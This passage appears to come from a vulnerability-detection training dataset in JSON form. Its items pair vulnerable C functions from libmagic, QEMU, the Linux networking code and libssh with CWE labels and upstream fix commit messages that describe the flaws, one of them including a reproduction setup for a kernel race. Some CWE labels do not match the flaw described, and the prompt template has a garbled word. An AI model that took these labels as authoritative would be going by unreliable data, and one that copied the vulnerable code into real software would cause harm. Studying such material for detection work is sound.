(p->hl[2]));\n\t\t\tif (m->in_op & FILE_OPINVERSE)\n\t\t\t\toffset = ~offset;\n\t\t\tbreak;\n\t\tcase FILE_LONG:\n\t\t\tif (nbytes < (offset + 4))\n\t\t\t\treturn 0;\n\t\t\tif (off) {\n\t\t\t\tswitch (m->in_op & FILE_OPS_MASK) {\n\t\t\t\tcase FILE_OPAND:\n\t\t\t\t\toffset = p->l & off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPOR:\n\t\t\t\t\toffset = p->l | off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPXOR:\n\t\t\t\t\toffset = p->l ^ off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPADD:\n\t\t\t\t\toffset = p->l + off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMINUS:\n\t\t\t\t\toffset = p->l - off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMULTIPLY:\n\t\t\t\t\toffset = p->l * off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPDIVIDE:\n\t\t\t\t\toffset = p->l / off;\n\t\t\t\t\tbreak;\n\t\t\t\tcase FILE_OPMODULO:\n\t\t\t\t\toffset = p->l % off;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else\n\t\t\t\toffset = p->l;\n\t\t\tif (m->in_op & FILE_OPINVERSE)\n\t\t\t\toffset = ~offset;\n\t\t\tbreak;\n\t\t}\n\n\t\tswitch (cvt_flip(m->in_type, flip)) {\n\t\tcase FILE_LEID3:\n\t\tcase FILE_BEID3:\n\t\t\toffset = ((((offset >> 0) & 0x7f) << 0) |\n\t\t\t\t (((offset >> 8) & 0x7f) << 7) |\n\t\t\t\t (((offset >> 16) & 0x7f) << 14) |\n\t\t\t\t (((offset >> 24) & 0x7f) << 21)) + 10;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\n\t\tif (m->flag & INDIROFFADD) {\n\t\t\toffset += ms->c.li[cont_level-1].off;\n\t\t\tif (offset == 0) {\n\t\t\t\tif ((ms->flags & MAGIC_DEBUG) != 0)\n\t\t\t\t\tfprintf(stderr,\n\t\t\t\t\t \"indirect *zero* offset\\n\");\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\tif ((ms->flags & MAGIC_DEBUG) != 0)\n\t\t\t\tfprintf(stderr, \"indirect +offs=%u\\n\", offset);\n\t\t}\n\t\tif (mcopy(ms, p, m->type, 0, s, offset, nbytes, count) == -1)\n\t\t\treturn -1;\n\t\tms->offset = offset;\n\n\t\tif ((ms->flags & MAGIC_DEBUG) != 0) {\n\t\t\tmdebug(offset, (char *)(void *)p,\n\t\t\t sizeof(union VALUETYPE));\n#ifndef COMPILE_ONLY\n\t\t\tfile_mdump(m);\n#endif\n\t\t}\n\t}\n\n\t/* Verify we have enough data to match magic type */\n\tswitch (m->type) {\n\tcase FILE_BYTE:\n\t\tif (nbytes < (offset + 1)) /* should alway be true */\n\t\t\treturn 0;\n\t\tbreak;\n\n\tcase FILE_SHORT:\n\tcase FILE_BESHORT:\n\tcase FILE_LESHORT:\n\t\tif (nbytes < (offset + 2))\n\t\t\treturn 0;\n\t\tbreak;\n\n\tcase FILE_LONG:\n\tcase FILE_BELONG:\n\tcase FILE_LELONG:\n\tcase FILE_MELONG:\n\tcase FILE_DATE:\n\tcase FILE_BEDATE:\n\tcase FILE_LEDATE:\n\tcase FILE_MEDATE:\n\tcase FILE_LDATE:\n\tcase FILE_BELDATE:\n\tcase FILE_LELDATE:\n\tcase FILE_MELDATE:\n\tcase FILE_FLOAT:\n\tcase FILE_BEFLOAT:\n\tcase FILE_LEFLOAT:\n\t\tif (nbytes < (offset + 4))\n\t\t\treturn 0;\n\t\tbreak;\n\n\tcase FILE_DOUBLE:\n\tcase FILE_BEDOUBLE:\n\tcase FILE_LEDOUBLE:\n\t\tif (nbytes < (offset + 8))\n\t\t\treturn 0;\n\t\tbreak;\n\n\tcase FILE_STRING:\n\tcase FILE_PSTRING:\n\tcase FILE_SEARCH:\n\t\tif (nbytes < (offset + m->vallen))\n\t\t\treturn 0;\n\t\tbreak;\n\n\tcase FILE_REGEX:\n\t\tif (nbytes < offset)\n\t\t\treturn 0;\n\t\tbreak;\n\n\tcase FILE_INDIRECT:\n\t\tif (nbytes < offset)\n\t\t\treturn 0;\n\t\tsbuf = ms->o.buf;\n\t\tms->o.buf = NULL;\n\t\tms->offset = 0;\n\t\trv = file_softmagic(ms, s + offset, nbytes - offset,\n\t\t BINTEST, text);\n\t\tif ((ms->flags & MAGIC_DEBUG) != 0)\n\t\t\tfprintf(stderr, \"indirect @offs=%u[%d]\\n\", offset, rv);\n\t\tif (rv == 1) {\n\t\t\trbuf = ms->o.buf;\n\t\t\tms->o.buf = sbuf;\n\t\t\tif ((ms->flags & (MAGIC_MIME|MAGIC_APPLE)) == 0 &&\n\t\t\t file_printf(ms, m->desc, offset) == -1)\n\t\t\t\treturn -1;\n\t\t\tif (file_printf(ms, \"%s\", rbuf) == -1)\n\t\t\t\treturn -1;\n\t\t\tfree(rbuf);\n\t\t} else\n\t\t\tms->o.buf = sbuf;\n\t\treturn rv;\n\n\tcase FILE_USE:\n\t\tif (nbytes < offset)\n\t\t\treturn 0;\n\t\tsbuf = m->value.s;\n\t\tif (*sbuf == '^') {\n\t\t\tsbuf++;\n\t\t\tflip = 1;\n\t\t} else\n\t\t\tflip = 0;\n\t\tif (file_magicfind(ms, sbuf, &ml) == -1) {\n\t\t\tfile_error(ms, 0, \"cannot find entry `%s'\", sbuf);\n\t\t\treturn -1;\n\t\t}\n\t\treturn match(ms, ml.magic, ml.nmagic, s, nbytes, offset + o,\n\t\t mode, text, flip, returnval);\n\n\tcase FILE_NAME:\n\t\tif (file_printf(ms, \"%s\", m->desc) == -1)\n\t\t\treturn -1;\n\t\treturn 1;\n\tcase FILE_DEFAULT:\t/* nothing to check */\n\tdefault:\n\t\tbreak;\n\t}\n\tif (!mconvert(ms, m, flip))\n\t\treturn 0; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-755'], 'message': 'limit recursion level for mget'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int virtio_load(VirtIODevice *vdev, QEMUFile *f)\n{\n int i, ret;\n uint32_t num;\n uint32_t features;\n uint32_t supported_features;\n BusState *qbus = qdev_get_parent_bus(DEVICE(vdev));\n VirtioBusClass *k = VIRTIO_BUS_GET_CLASS(qbus);\n\n if (k->load_config) {\n ret = k->load_config(qbus->parent, f);\n if (ret)\n return ret;\n }\n\n qemu_get_8s(f, &vdev->status);\n qemu_get_8s(f, &vdev->isr);\n qemu_get_be16s(f, &vdev->queue_sel);\n qemu_get_be32s(f, &features);\n\n if (virtio_set_features(vdev, features) < 0) {\n supported_features = k->get_features(qbus->parent);\n error_report(\"Features 0x%x unsupported. Allowed features: 0x%x\",\n features, supported_features);\n return -1;\n }\n vdev->config_len = qemu_get_be32(f);\n qemu_get_buffer(f, vdev->config, vdev->config_len);\n\n num = qemu_get_be32(f);\n\n if (num > VIRTIO_PCI_QUEUE_MAX) {\n error_report(\"Invalid number of PCI queues: 0x%x\", num);\n return -1;\n }\n\n for (i = 0; i < num; i++) {\n vdev->vq[i].vring.num = qemu_get_be32(f);\n if (k->has_variable_vring_alignment) {\n vdev->vq[i].vring.align = qemu_get_be32(f);\n }\n vdev->vq[i].pa = qemu_get_be64(f);\n qemu_get_be16s(f, &vdev->vq[i].last_avail_idx);\n vdev->vq[i].signalled_used_valid = false;\n vdev->vq[i].notification = true;\n\n if (vdev->vq[i].pa) {\n uint16_t nheads;\n virtqueue_init(&vdev->vq[i]);\n nheads = vring_avail_idx(&vdev->vq[i]) - vdev->vq[i].last_avail_idx;\n /* Check it isn't doing very strange things with descriptor numbers. */\n if (nheads > vdev->vq[i].vring.num) {\n error_report(\"VQ %d size 0x%x Guest index 0x%x \"\n \"inconsistent with Host index 0x%x: delta 0x%x\",\n i, vdev->vq[i].vring.num,\n vring_avail_idx(&vdev->vq[i]),\n vdev->vq[i].last_avail_idx, nheads);\n return -1;\n }\n } else if (vdev->vq[i].last_avail_idx) {\n error_report(\"VQ %d address 0x0 \"\n \"inconsistent with Host index 0x%x\",\n i, vdev->vq[i].last_avail_idx);\n return -1;\n\t}\n if (k->load_queue) {\n ret = k->load_queue(qbus->parent, i, f);\n if (ret)\n return ret;\n }\n }\n\n virtio_notify_vector(vdev, VIRTIO_NO_VECTOR);\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-94'], 'message': 'virtio: avoid buffer overrun on incoming migration\n\nCVE-2013-6399\n\nvdev->queue_sel is read from the wire, and later used in the\nemulation code as an index into vdev->vq[]. If the value of\nvdev->queue_sel exceeds the length of vdev->vq[], currently\nallocated to be VIRTIO_PCI_QUEUE_MAX elements, subsequent PIO\noperations such as VIRTIO_PCI_QUEUE_PFN can be used to overrun\nthe buffer with arbitrary data originating from the source.\n\nFix this by failing migration if the value from the wire exceeds\nVIRTIO_PCI_QUEUE_MAX.\n\nSigned-off-by: Michael Roth \nSigned-off-by: Michael S. Tsirkin \nReviewed-by: Peter Maydell \nSigned-off-by: Juan Quintela '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct inet_frag_queue *inet_frag_intern(struct netns_frags *nf,\n\t\tstruct inet_frag_queue *qp_in, struct inet_frags *f,\n\t\tvoid *arg)\n{\n\tstruct inet_frag_bucket *hb;\n\tstruct inet_frag_queue *qp;\n\tunsigned int hash;\n\n\tread_lock(&f->lock); /* Protects against hash rebuild */\n\t/*\n\t * While we stayed w/o the lock other CPU could update\n\t * the rnd seed, so we need to re-calculate the hash\n\t * chain. Fortunatelly the qp_in can be used to get one.\n\t */\n\thash = f->hashfn(qp_in);\n\thb = &f->hash[hash];\n\tspin_lock(&hb->chain_lock);\n\n#ifdef CONFIG_SMP\n\t/* With SMP race we have to recheck hash table, because\n\t * such entry could be created on other cpu, while we\n\t * released the hash bucket lock.\n\t */\n\thlist_for_each_entry(qp, &hb->chain, list) {\n\t\tif (qp->net == nf && f->match(qp, arg)) {\n\t\t\tatomic_inc(&qp->refcnt);\n\t\t\tspin_unlock(&hb->chain_lock);\n\t\t\tread_unlock(&f->lock);\n\t\t\tqp_in->last_in |= INET_FRAG_COMPLETE;\n\t\t\tinet_frag_put(qp_in, f);\n\t\t\treturn qp;\n\t\t}\n\t}\n#endif\n\tqp = qp_in;\n\tif (!mod_timer(&qp->timer, jiffies + nf->timeout))\n\t\tatomic_inc(&qp->refcnt);\n\n\tatomic_inc(&qp->refcnt);\n\thlist_add_head(&qp->list, &hb->chain);\n\tspin_unlock(&hb->chain_lock);\n\tread_unlock(&f->lock);\n\tinet_frag_lru_add(nf, qp);\n\treturn qp;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'net: fix for a race condition in the inet frag code\n\nI stumbled upon this very serious bug while hunting for another one,\nit's a very subtle race condition between inet_frag_evictor,\ninet_frag_intern and the IPv4/6 frag_queue and expire functions\n(basically the users of inet_frag_kill/inet_frag_put).\n\nWhat happens is that after a fragment has been added to the hash chain\nbut before it's been added to the lru_list (inet_frag_lru_add) in\ninet_frag_intern, it may get deleted (either by an expired timer if\nthe system load is high or the timer sufficiently low, or by the\nfraq_queue function for different reasons) before it's added to the\nlru_list, then after it gets added it's a matter of time for the\nevictor to get to a piece of memory which has been freed leading to a\nnumber of different bugs depending on what's left there.\n\nI've been able to trigger this on both IPv4 and IPv6 (which is normal\nas the frag code is the same), but it's been much more difficult to\ntrigger on IPv4 due to the protocol differences about how fragments\nare treated.\n\nThe setup I used to reproduce this is: 2 machines with 4 x 10G bonded\nin a RR bond, so the same flow can be seen on multiple cards at the\nsame time. Then I used multiple instances of ping/ping6 to generate\nfragmented packets and flood the machines with them while running\nother processes to load the attacked machine.\n\n*It is very important to have the _same flow_ coming in on multiple CPUs\nconcurrently. Usually the attacked machine would die in less than 30\nminutes, if configured properly to have many evictor calls and timeouts\nit could happen in 10 minutes or so.\n\nAn important point to make is that any caller (frag_queue or timer) of\ninet_frag_kill will remove both the timer refcount and the\noriginal/guarding refcount thus removing everything that's keeping the\nfrag from being freed at the next inet_frag_put. All of this could\nhappen before the frag was ever added to the LRU list, then it gets\nadded and the evictor uses a freed fragment.\n\nAn example for IPv6 would be if a fragment is being added and is at\nthe stage of being inserted in the hash after the hash lock is\nreleased, but before inet_frag_lru_add executes (or is able to obtain\nthe lru lock) another overlapping fragment for the same flow arrives\nat a different CPU which finds it in the hash, but since it's\noverlapping it drops it invoking inet_frag_kill and thus removing all\nguarding refcounts, and afterwards freeing it by invoking\ninet_frag_put which removes the last refcount added previously by\ninet_frag_find, then inet_frag_lru_add gets executed by\ninet_frag_intern and we have a freed fragment in the lru_list.\n\nThe fix is simple, just move the lru_add under the hash chain locked\nregion so when a removing function is called it'll have to wait for\nthe fragment to be added to the lru_list, and then it'll remove it (it\nworks because the hash chain removal is done before the lru_list one\nand there's no window between the two list adds when the frag can get\ndropped). With this fix applied I couldn't kill the same machine in 24\nhours with the same setup.\n\nFixes: 3ef0eb0db4bf (\"net: frag, move LRU list maintenance outside of\nrwlock\")\n\nCC: Florian Westphal \nCC: Jesper Dangaard Brouer \nCC: David S. Miller \n\nSigned-off-by: Nikolay Aleksandrov \nAcked-by: Jesper Dangaard Brouer \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ssh_bind_accept_fd(ssh_bind sshbind, ssh_session session, socket_t fd){\n int i, rc;\n\n if (session == NULL){\n ssh_set_error(sshbind, SSH_FATAL,\"session is null\");\n return SSH_ERROR;\n }\n\n session->server = 1;\n session->version = 2;\n\n /* copy options */\n for (i = 0; i < 10; ++i) {\n if (sshbind->wanted_methods[i]) {\n session->opts.wanted_methods[i] = strdup(sshbind->wanted_methods[i]);\n if (session->opts.wanted_methods[i] == NULL) {\n return SSH_ERROR;\n }\n }\n }\n\n if (sshbind->bindaddr == NULL)\n session->opts.bindaddr = NULL;\n else {\n SAFE_FREE(session->opts.bindaddr);\n session->opts.bindaddr = strdup(sshbind->bindaddr);\n if (session->opts.bindaddr == NULL) {\n return SSH_ERROR;\n }\n }\n\n session->common.log_verbosity = sshbind->common.log_verbosity;\n if(sshbind->banner != NULL)\n \tsession->opts.custombanner = strdup(sshbind->banner);\n ssh_socket_free(session->socket);\n session->socket = ssh_socket_new(session);\n if (session->socket == NULL) {\n /* perhaps it may be better to copy the error from session to sshbind */\n ssh_set_error_oom(sshbind);\n return SSH_ERROR;\n }\n ssh_socket_set_fd(session->socket, fd);\n ssh_socket_get_poll_handle_out(session->socket);\n\n /* We must try to import any keys that could be imported in case\n * we are not using ssh_bind_listen (which is the other place\n * where keys can be imported) on this ssh_bind and are instead\n * only using ssh_bind_accept_fd to manage sockets ourselves.\n */\n rc = ssh_bind_import_keys(sshbind);\n if (rc != SSH_OK) {\n return SSH_ERROR;\n }\n\n#ifdef HAVE_ECC\n if (sshbind->ecdsa) {\n session->srv.ecdsa_key = ssh_key_dup(sshbind->ecdsa);\n if (session->srv.ecdsa_key == NULL) {\n ssh_set_error_oom(sshbind);\n return SSH_ERROR;\n }\n }\n#endif\n if (sshbind->dsa) {\n session->srv.dsa_key = ssh_key_dup(sshbind->dsa);\n if (session->srv.dsa_key == NULL) {\n ssh_set_error_oom(sshbind);\n return SSH_ERROR;\n }\n }\n if (sshbind->rsa) {\n session->srv.rsa_key = ssh_key_dup(sshbind->rsa);\n if (session->srv.rsa_key == NULL) {\n ssh_set_error_oom(sshbind);\n return SSH_ERROR;\n }\n }\n return SSH_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'security: fix for vulnerability CVE-2014-0017\n\nWhen accepting a new connection, a forking server based on libssh forks\nand the child process handles the request. The RAND_bytes() function of\nopenssl doesn't reset its state after the fork, but simply adds the\ncurrent process id (getpid) to the PRNG state, which is not guaranteed\nto be unique.\nThis can cause several children to end up with same PRNG state which is\na security issue.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int qcow2_open(BlockDriverState *bs, QDict *options, int flags,\n Error **errp)\n{\n BDRVQcowState *s = bs->opaque;\n unsigned int len, i;\n int ret = 0;\n QCowHeader header;\n QemuOpts *opts;\n Error *local_err = NULL;\n uint64_t ext_end;\n uint64_t l1_vm_state_index;\n const char *opt_overlap_check;\n int overlap_check_template = 0;\n\n ret = bdrv_pread(bs->file, 0, &header, sizeof(header));\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not read qcow2 header\");\n goto fail;\n }\n be32_to_cpus(&header.magic);\n be32_to_cpus(&header.version);\n be64_to_cpus(&header.backing_file_offset);\n be32_to_cpus(&header.backing_file_size);\n be64_to_cpus(&header.size);\n be32_to_cpus(&header.cluster_bits);\n be32_to_cpus(&header.crypt_method);\n be64_to_cpus(&header.l1_table_offset);\n be32_to_cpus(&header.l1_size);\n be64_to_cpus(&header.refcount_table_offset);\n be32_to_cpus(&header.refcount_table_clusters);\n be64_to_cpus(&header.snapshots_offset);\n be32_to_cpus(&header.nb_snapshots);\n\n if (header.magic != QCOW_MAGIC) {\n error_setg(errp, \"Image is not in qcow2 format\");\n ret = -EINVAL;\n goto fail;\n }\n if (header.version < 2 || header.version > 3) {\n report_unsupported(bs, errp, \"QCOW version %d\", header.version);\n ret = -ENOTSUP;\n goto fail;\n }\n\n s->qcow_version = header.version;\n\n /* Initialise cluster size */\n if (header.cluster_bits < MIN_CLUSTER_BITS ||\n header.cluster_bits > MAX_CLUSTER_BITS) {\n error_setg(errp, \"Unsupported cluster size: 2^%i\", header.cluster_bits);\n ret = -EINVAL;\n goto fail;\n }\n\n s->cluster_bits = header.cluster_bits;\n s->cluster_size = 1 << s->cluster_bits;\n s->cluster_sectors = 1 << (s->cluster_bits - 9);\n\n /* Initialise version 3 header fields */\n if (header.version == 2) {\n header.incompatible_features = 0;\n header.compatible_features = 0;\n header.autoclear_features = 0;\n header.refcount_order = 4;\n header.header_length = 72;\n } else {\n be64_to_cpus(&header.incompatible_features);\n be64_to_cpus(&header.compatible_features);\n be64_to_cpus(&header.autoclear_features);\n be32_to_cpus(&header.refcount_order);\n be32_to_cpus(&header.header_length);\n\n if (header.header_length < 104) {\n error_setg(errp, \"qcow2 header too short\");\n ret = -EINVAL;\n goto fail;\n }\n }\n\n if (header.header_length > s->cluster_size) {\n error_setg(errp, \"qcow2 header exceeds cluster size\");\n ret = -EINVAL;\n goto fail;\n }\n\n if (header.header_length > sizeof(header)) {\n s->unknown_header_fields_size = header.header_length - sizeof(header);\n s->unknown_header_fields = g_malloc(s->unknown_header_fields_size);\n ret = bdrv_pread(bs->file, sizeof(header), s->unknown_header_fields,\n s->unknown_header_fields_size);\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not read unknown qcow2 header \"\n \"fields\");\n goto fail;\n }\n }\n\n if (header.backing_file_offset > s->cluster_size) {\n error_setg(errp, \"Invalid backing file offset\");\n ret = -EINVAL;\n goto fail;\n }\n\n if (header.backing_file_offset) {\n ext_end = header.backing_file_offset;\n } else {\n ext_end = 1 << header.cluster_bits;\n }\n\n /* Handle feature bits */\n s->incompatible_features = header.incompatible_features;\n s->compatible_features = header.compatible_features;\n s->autoclear_features = header.autoclear_features;\n\n if (s->incompatible_features & ~QCOW2_INCOMPAT_MASK) {\n void *feature_table = NULL;\n qcow2_read_extensions(bs, header.header_length, ext_end,\n &feature_table, NULL);\n report_unsupported_feature(bs, errp, feature_table,\n s->incompatible_features &\n ~QCOW2_INCOMPAT_MASK);\n ret = -ENOTSUP;\n g_free(feature_table);\n goto fail;\n }\n\n if (s->incompatible_features & QCOW2_INCOMPAT_CORRUPT) {\n /* Corrupt images may not be written to unless they are being repaired\n */\n if ((flags & BDRV_O_RDWR) && !(flags & BDRV_O_CHECK)) {\n error_setg(errp, \"qcow2: Image is corrupt; cannot be opened \"\n \"read/write\");\n ret = -EACCES;\n goto fail;\n }\n }\n\n /* Check support for various header values */\n if (header.refcount_order != 4) {\n report_unsupported(bs, errp, \"%d bit reference counts\",\n 1 << header.refcount_order);\n ret = -ENOTSUP;\n goto fail;\n }\n s->refcount_order = header.refcount_order;\n\n if (header.crypt_method > QCOW_CRYPT_AES) {\n error_setg(errp, \"Unsupported encryption method: %i\",\n header.crypt_method);\n ret = -EINVAL;\n goto fail;\n }\n s->crypt_method_header = header.crypt_method;\n if (s->crypt_method_header) {\n bs->encrypted = 1;\n }\n\n s->l2_bits = s->cluster_bits - 3; /* L2 is always one cluster */\n s->l2_size = 1 << s->l2_bits;\n bs->total_sectors = header.size / 512;\n s->csize_shift = (62 - (s->cluster_bits - 8));\n s->csize_mask = (1 << (s->cluster_bits - 8)) - 1;\n s->cluster_offset_mask = (1LL << s->csize_shift) - 1;\n\n s->refcount_table_offset = header.refcount_table_offset;\n s->refcount_table_size =\n header.refcount_table_clusters << (s->cluster_bits - 3);\n\n if (header.refcount_table_clusters > qcow2_max_refcount_clusters(s)) {\n error_setg(errp, \"Reference count table too large\");\n ret = -EINVAL;\n goto fail;\n }\n\n ret = validate_table_offset(bs, s->refcount_table_offset,\n s->refcount_table_size, sizeof(uint64_t));\n if (ret < 0) {\n error_setg(errp, \"Invalid reference count table offset\");\n goto fail;\n }\n\n /* Snapshot table offset/length */\n if (header.nb_snapshots > QCOW_MAX_SNAPSHOTS) {\n error_setg(errp, \"Too many snapshots\");\n ret = -EINVAL;\n goto fail;\n }\n\n ret = validate_table_offset(bs, header.snapshots_offset,\n header.nb_snapshots,\n sizeof(QCowSnapshotHeader));\n if (ret < 0) {\n error_setg(errp, \"Invalid snapshot table offset\");\n goto fail;\n }\n\n s->snapshots_offset = header.snapshots_offset;\n s->nb_snapshots = header.nb_snapshots;\n\n /* read the level 1 table */\n if (header.l1_size > 0x2000000) {\n /* 32 MB L1 table is enough for 2 PB images at 64k cluster size\n * (128 GB for 512 byte clusters, 2 EB for 2 MB clusters) */\n error_setg(errp, \"Active L1 table too large\");\n ret = -EFBIG;\n goto fail;\n }\n s->l1_size = header.l1_size;\n\n l1_vm_state_index = size_to_l1(s, header.size);\n if (l1_vm_state_index > INT_MAX) {\n error_setg(errp, \"Image is too big\");\n ret = -EFBIG;\n goto fail;\n }\n s->l1_vm_state_index = l1_vm_state_index;\n\n /* the L1 table must contain at least enough entries to put\n header.size bytes */\n if (s->l1_size < s->l1_vm_state_index) {\n error_setg(errp, \"L1 table is too small\");\n ret = -EINVAL;\n goto fail;\n }\n\n ret = validate_table_offset(bs, header.l1_table_offset,\n header.l1_size, sizeof(uint64_t));\n if (ret < 0) {\n error_setg(errp, \"Invalid L1 table offset\");\n goto fail;\n }\n s->l1_table_offset = header.l1_table_offset;\n\n\n if (s->l1_size > 0) {\n s->l1_table = g_malloc0(\n align_offset(s->l1_size * sizeof(uint64_t), 512));\n ret = bdrv_pread(bs->file, s->l1_table_offset, s->l1_table,\n s->l1_size * sizeof(uint64_t));\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not read L1 table\");\n goto fail;\n }\n for(i = 0;i < s->l1_size; i++) {\n be64_to_cpus(&s->l1_table[i]);\n }\n }\n\n /* alloc L2 table/refcount block cache */\n s->l2_table_cache = qcow2_cache_create(bs, L2_CACHE_SIZE);\n s->refcount_block_cache = qcow2_cache_create(bs, REFCOUNT_CACHE_SIZE);\n\n s->cluster_cache = g_malloc(s->cluster_size);\n /* one more sector for decompressed data alignment */\n s->cluster_data = qemu_blockalign(bs, QCOW_MAX_CRYPT_CLUSTERS * s->cluster_size\n + 512);\n s->cluster_cache_offset = -1;\n s->flags = flags;\n\n ret = qcow2_refcount_init(bs);\n if (ret != 0) {\n error_setg_errno(errp, -ret, \"Could not initialize refcount handling\");\n goto fail;\n }\n\n QLIST_INIT(&s->cluster_allocs);\n QTAILQ_INIT(&s->discards);\n\n /* read qcow2 extensions */\n if (qcow2_read_extensions(bs, header.header_length, ext_end, NULL,\n &local_err)) {\n error_propagate(errp, local_err);\n ret = -EINVAL;\n goto fail;\n }\n\n /* read the backing file name */\n if (header.backing_file_offset != 0) {\n len = header.backing_file_size;\n if (len > MIN(1023, s->cluster_size - header.backing_file_offset)) {\n error_setg(errp, \"Backing file name too long\");\n ret = -EINVAL;\n goto fail;\n }\n ret = bdrv_pread(bs->file, header.backing_file_offset,\n bs->backing_file, len);\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not read backing file name\");\n goto fail;\n }\n bs->backing_file[len] = '\\0';\n }\n\n ret = qcow2_read_snapshots(bs);\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not read snapshots\");\n goto fail;\n }\n\n /* Clear unknown autoclear feature bits */\n if (!bs->read_only && !(flags & BDRV_O_INCOMING) && s->autoclear_features) {\n s->autoclear_features = 0;\n ret = qcow2_update_header(bs);\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not update qcow2 header\");\n goto fail;\n }\n }\n\n /* Initialise locks */\n qemu_co_mutex_init(&s->lock);\n\n /* Repair image if dirty */\n if (!(flags & (BDRV_O_CHECK | BDRV_O_INCOMING)) && !bs->read_only &&\n (s->incompatible_features & QCOW2_INCOMPAT_DIRTY)) {\n BdrvCheckResult result = {0};\n\n ret = qcow2_check(bs, &result, BDRV_FIX_ERRORS);\n if (ret < 0) {\n error_setg_errno(errp, -ret, \"Could not repair dirty image\");\n goto fail;\n }\n }\n\n /* Enable lazy_refcounts according to image and command line options */\n opts = qemu_opts_create(&qcow2_runtime_opts, NULL, 0, &error_abort);\n qemu_opts_absorb_qdict(opts, options, &local_err);\n if (local_err) {\n error_propagate(errp, local_err);\n ret = -EINVAL;\n goto fail;\n }\n\n s->use_lazy_refcounts = qemu_opt_get_bool(opts, QCOW2_OPT_LAZY_REFCOUNTS,\n (s->compatible_features & QCOW2_COMPAT_LAZY_REFCOUNTS));\n\n s->discard_passthrough[QCOW2_DISCARD_NEVER] = false;\n s->discard_passthrough[QCOW2_DISCARD_ALWAYS] = true;\n s->discard_passthrough[QCOW2_DISCARD_REQUEST] =\n qemu_opt_get_bool(opts, QCOW2_OPT_DISCARD_REQUEST,\n flags & BDRV_O_UNMAP);\n s->discard_passthrough[QCOW2_DISCARD_SNAPSHOT] =\n qemu_opt_get_bool(opts, QCOW2_OPT_DISCARD_SNAPSHOT, true);\n s->discard_passthrough[QCOW2_DISCARD_OTHER] =\n qemu_opt_get_bool(opts, QCOW2_OPT_DISCARD_OTHER, false);\n\n opt_overlap_check = qemu_opt_get(opts, \"overlap-check\") ?: \"cached\";\n if (!strcmp(opt_overlap_check, \"none\")) {\n overlap_check_template = 0;\n } else if (!strcmp(opt_overlap_check, \"constant\")) {\n overlap_check_template = QCOW2_OL_CONSTANT;\n } else if (!strcmp(opt_overlap_check, \"cached\")) {\n overlap_check_template = QCOW2_OL_CACHED;\n } else if (!strcmp(opt_overlap_check, \"all\")) {\n overlap_check_template = QCOW2_OL_ALL;\n } else {\n error_setg(errp, \"Unsupported value '%s' for qcow2 option \"\n \"'overlap-check'. Allowed are either of the following: \"\n \"none, constant, cached, all\", opt_overlap_check);\n qemu_opts_del(opts);\n ret = -EINVAL;\n goto fail;\n }\n\n s->overlap_check = 0;\n for (i = 0; i < QCOW2_OL_MAX_BITNR; i++) {\n /* overlap-check defines a template bitmask, but every flag may be\n * overwritten through the associated boolean option */\n s->overlap_check |=\n qemu_opt_get_bool(opts, overlap_bool_option_names[i],\n overlap_check_template & (1 << i)) << i;\n }\n\n qemu_opts_del(opts);\n\n if (s->use_lazy_refcounts && s->qcow_version < 3) {\n error_setg(errp, \"Lazy refcounts require a qcow2 image with at least \"\n \"qemu 1.1 compatibility level\");\n ret = -EINVAL;\n goto fail;\n }\n\n#ifdef DEBUG_ALLOC\n {\n BdrvCheckResult result = {0};\n qcow2_check_refcounts(bs, &result, 0);\n }\n#endif\n return ret;\n\n fail:\n g_free(s->unknown_header_fields);\n cleanup_unknown_header_ext(bs);\n qcow2_free_snapshots(bs);\n qcow2_refcount_close(bs);\n g_free(s->l1_table);\n /* else pre-write overlap checks in cache_destroy may crash */\n s->l1_table = NULL;\n if (s->l2_table_cache) {\n qcow2_cache_destroy(bs, s->l2_table_cache);\n }\n if (s->refcount_block_cache) {\n qcow2_cache_destroy(bs, s->refcount_block_cache);\n }\n g_free(s->cluster_cache);\n qemu_vfree(s->cluster_data);\n return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'qcow2: Fix NULL dereference in qcow2_open() error path (CVE-2014-0146)\n\nThe qcow2 code assumes that s->snapshots is non-NULL if s->nb_snapshots\n!= 0. By having the initialisation of both fields separated in\nqcow2_open(), any error occuring in between would cause the error path\nto dereference NULL in qcow2_free_snapshots() if the image had any\nsnapshots.\n\nSigned-off-by: Kevin Wolf \nReviewed-by: 